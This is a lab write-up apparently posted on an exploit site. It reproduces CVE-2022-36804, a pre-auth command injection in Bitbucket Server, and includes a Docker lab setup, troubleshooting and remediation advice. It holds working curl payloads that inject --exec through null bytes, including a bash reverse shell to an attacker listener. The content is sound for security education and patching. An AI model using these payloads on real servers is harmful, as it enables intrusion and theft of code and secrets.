## https://sploitus.com/exploit?id=19AB70CC-9AE9-5A06-BA19-2E48C2D6428F
# CVE-2022-36804: Bitbucket Remote Command Execution (RCE)
### *Technical Analysis & Laboratory Exploitation of Null-Byte Argument Injection*
## Vulnerability Summary
**CVE-2022-36804** is a high-severity **Command Injection** vulnerability (CVSS 8.8) within the REST API of Atlassian Bitbucket Server and Data Center. This repository documents a full-chain laboratory reproduction of the exploit, directly based on the technical research published by **Assetnote**.
The analysis details the transition from environment orchestration and security filter evasion to achieving an interactive reverse shell. As outlined in the original discovery, this flaw allows for **Remote Command Execution (RCE)**, which can be exploited pre-authentication if the target repository has public access enabled.
## Technical Deep-Dive: The Null-Byte Mismatch
The vulnerability is rooted in a "Sanitization Impedance Mismatch" between the Java application runtime and the Linux Operating System.
As highlighted in Assetnote's research, Bitbucket utilizes the `NuProcess` library to construct and execute Git commands. When a user provides a `prefix` parameter to the `/archive` endpoint, Bitbucket fails to strip null characters (`%00`) before passing the argument list to the OS.
* **Java's View:** Treats the input as a single string object that safely contains a null byte.
* **Linux Kernel's View:** Written in C, the kernel uses null characters to terminate strings. When `execve()` processes the command, it cuts the string at `%00`. Because of how `NuProcess` passes the data, the OS treats everything following the null byte as an entirely new command-line argument.
By injecting `--exec=...`, an attacker breaks out of the intended `--prefix` flag and forces the `git archive` process to execute an arbitrary binary, leading to Remote Command Execution (RCE).
## Laboratory Setup
To simulate a realistic attack surface, the laboratory environment utilizes a dual-container architecture isolated within a Docker bridge network (`hacking_net`). This setup ensures that the exploitation and monitoring can be performed in a controlled environment without affecting the host system.
Architecture Components
* **Victim Node:** Runs Atlassian Bitbucket Server version **7.17.1**. The container is intentionally named `bitbucket-victim`. This reflects a critical design refinement made to ensure compliance with Apache Tomcat’s RFC 7230 enforcement. By using a hyphen instead of an underscore, the environment avoids the "Invalid Character" 400 errors that occur during payload execution—a key technical hurdle identified and resolved during the research phase.
* **Attacker Node:** A tailored Kali Linux rolling image. Unlike a standard image, this node is pre-provisioned with the specific toolset required for this exploit chain: `git` for repository manipulation, `curl` for payload delivery, and `netcat-traditional` for capturing the reverse shell.
docker-compose.yml (Tomcat RFC-Compliant Version)
```yaml
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
```
dockerfile (Attacker Node)
```dockerfile
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
```
## Lab Verification (The Fast Track)
If you have already provisioned the environment using the `docker-compose.yml` provided above, you can use the included `exploit.sh` script to verify the vulnerability and pop a reverse shell in seconds.
**1. Prepare the Listener**
On your Kali attacker node (or host machine), start a netcat listener to catch the shell:
```Bash
nc.traditional -lvnp 4444
```
**2. Execute the Exploit**
Run the script by providing the target Bitbucket IP, the Project/Repo names, and your listener details:
```Bash
# Usage: ./exploit.sh
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
```
**3. Verify Access**
Once the script executes, check your netcat terminal. You should have an interactive session as the bitbucket user.
```Bash
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
```
## Step-by-Step Execution & Troubleshooting
What follows is the raw execution log of the laboratory session, detailing the transition from environment setup to a fully interactive reverse shell, including the troubleshooting steps required to bypass application logic and web server constraints.
### Step 1: Provisioning & Application Setup
I started by spinning up the vulnerable environment and configuring the target application.
1. Executed `docker-compose up -d --build` to deploy the Kali attacker and Bitbucket victim containers.
2. Navigated to `http://localhost:7990` and waited for the Bitbucket setup routine to initialize.
3. **Configuration:**
* **Database:** Selected the **Internal** database for rapid deployment.
* **Licensing:** Captured the Server ID and authenticated via my personal Atlassian account to generate a 30-day **evaluation license**.
* **Account Security:** Created the primary **Admin account** (keeping credentials handy for later git interaction).
4. Created a new Project named `CVE` and an empty repository named `Repo1`.
5. Navigated to the repository settings to ensure **Public Access** was enabled, a prerequisite for the pre-authenticated exploit vector.
### Step 2: Setting the Trap (White-Box Monitoring)
To verify the injection in real-time rather than relying on blind testing, I decided to deploy `pspy64` to monitor underlying Linux processes.
1. Downloaded the `pspy64` binary from the official GitHub repo.
2. **Troubleshooting:** Windows Defender flagged the binary as a high-risk hacktool, trying to quarantine the file. I had to manually intervene in the Windows Security settings to allow the threat, effectively whitelisting the tool for this specific research context.
3. I transferred the binary from the host to the victim container using the Docker CLI to bypass internal network filters:
```bash
docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
```
4. Spawning a root shell (`-u 0`) into the victim container, I applied execution privileges and started the monitor:
```bash
docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
```
### Step 3: The First Payload Attempt & Tomcat's Gatekeeper
Switching to the attacker node (`docker exec -it kali_attacker bash`), I fired the initial remote command execution payload aimed at creating a file (`/tmp/pwned`).
```bash
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
```
* **Roadblock 1 (RFC Compliance):** The payload failed instantly. Apache Tomcat returned an error regarding the `_` character in the host name.
* **Fix:** Tomcat strictly enforces RFC naming conventions. I appended a Host header override (`-H "Host: localhost"`) to force the payload through the web server to the Bitbucket application layer
### Step 4: Logic Bypass (The Empty Repository)
Firing the updated payload with the Host header resulted in a new error:
`{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}`
* **Roadblock 2 (Application Logic):** Even with public access enabled, the `/archive` endpoint was denying access. I deduced this was because `git archive` cannot operate on an empty repository—it needs a commit tree to parse.
* **Fix:** I initialized the repository. I drafted a short `README.md` (`"This is a test repository for CVE-2022-36804"`) and attempted to push it from the Kali container.
* **Roadblock 3 (DNS & Routing):** My Git push failed because the container hostname `bitbucket_victim` contained the forbidden underscore. This underscore is haunting me - lesson learned!
* **Fix:** I inspected the Docker network to find the victim's local IP (`172.19.0.3`) and pushed the commit using the admin credentials:
```bash
git remote add origin http://Daniel1337@172.19.0.3:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this:
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git
```
### Step 5: Verification of Command Injection
With the repository initialized, I fired the Host-header-modified payload once more:
```bash
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
```
**Success.** Flipping over to my monitor terminal, I observed the "smoking gun." pspy64 captured the exact moment the Java process passed the injected null-byte string to the Linux kernel. As predicted in the technical analysis, the OS treated everything after the null byte as a new argument.
I followed this up with a manual check inside the container, confirming that the file `/tmp/pwned` had indeed been created by the `bitbucket` user (UID 2003).
### Step 6: Escalation to Interactive Shell
To finalize the Proof of Concept and demonstrate maximum impact, I transitioned from a simple file creation to gaining full interactive system access.
1. I opened a new Kali terminal and initiated a netcat listener to catch the incoming connection:
```bash
nc.traditional -lvnp 4444
```
2. I retrieved my Kali container's internal IP using `hostname -I` to ensure the victim knew where to send the shell.
3. Executed the final payload. I used a URL-encoded bash reverse shell to ensure characters like `>`, `&`, and `'` bypassed Tomcat's HTTP request parsers:
```bash
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
```
**Result:** The connection stabilized. I successfully obtained an interactive shell as the `bitbucket` service user, proving a successful and total service compromise.
## Architectural Impact & Post-Exploitation
It is important to distinguish between the web application and the underlying OS. This reverse shell provides access to the server environment, not "Admin" rights within the Bitbucket UI.
As an OS-level command injection, the shell inherits the privileges of the parent process—in this case, the `bitbucket` service account (UID 2003).
While this isn't immediate `root` access, the impact is still critical:
* **Intellectual Property Theft:** Unauthorized access to the underlying Git objects for all repositories hosted on the instance, effectively bypassing the application's internal Role-Based Access Control (RBAC).
* **Credential Harvesting:** Access to internal configuration files and database secrets.
* **Pivoting:** The compromised server can now be used as a gateway to attack the internal network.
In a hardened environment, this is a total **Service Compromise**. While a secondary privilege escalation would be needed for full host control, the primary objective—accessing the organization's intellectual property—is fully realized.
## Remediation & Mitigation
To secure Bitbucket instances against this vulnerability, Atlassian released patches that implement strict validation on the prefix parameter and update the process execution logic to prevent null-byte argument splitting.
* **Official Fix:** Upgrade to Bitbucket Server and Data Center versions **7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1,** or any version released after August 2022.
* **Immediate Mitigation:** If an immediate upgrade is not possible, ensure that Public Access is disabled for all repositories. While this does not remove the vulnerability, it shifts the attack surface from an unauthenticated (Pre-Auth) vector to an authenticated one, requiring a valid user account to execute.
## Technical Resources & Credits
This Proof of Concept was developed by synthesizing research from the following primary sources and laboratory tools:
### Primary Research
* **Assetnote Research:** [Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804)](https://www.assetnote.io/resources/research/breaking-bitbucket-pre-auth-remote-command-execution-cve-2022-36804) – The original discovery and technical walkthrough.
* **Technical Inspiration:** [Devcraft - GitHub RCE via Git Injection](https://devcraft.io/2020/10/18/github-rce-git-inject.html) – The research on Git argument injection that inspired the Assetnote discovery.
## Vulnerability Data
* **NVD Entry:** [CVE-2022-36804 Official Advisory](https://nvd.nist.gov/vuln/detail/CVE-2022-36804) – The National Vulnerability Database record and severity scoring.
## Laboratory Components
* **Vulnerable Image:** [Atlassian Bitbucket Server 7.17.1](https://hub.docker.com/layers/atlassian/bitbucket-server/7.17.1/images/sha256-13cc8af4299f7b00615edbfd7349c9fb1c1800f3dd1e09c98c624cd4892d29bf) – The specific container layer utilized for this reproduction.
* **Monitoring Tool:** [pspy (Process Monitoring Tool)](https://github.com/DominicBreuker/pspy/releases) – Utilized for white-box verification of argument injection in the Linux kernel.
---
## Disclaimer: This project is intended solely for educational purposes and ethical security research. Unauthorized exploitation of target systems is strictly prohibited.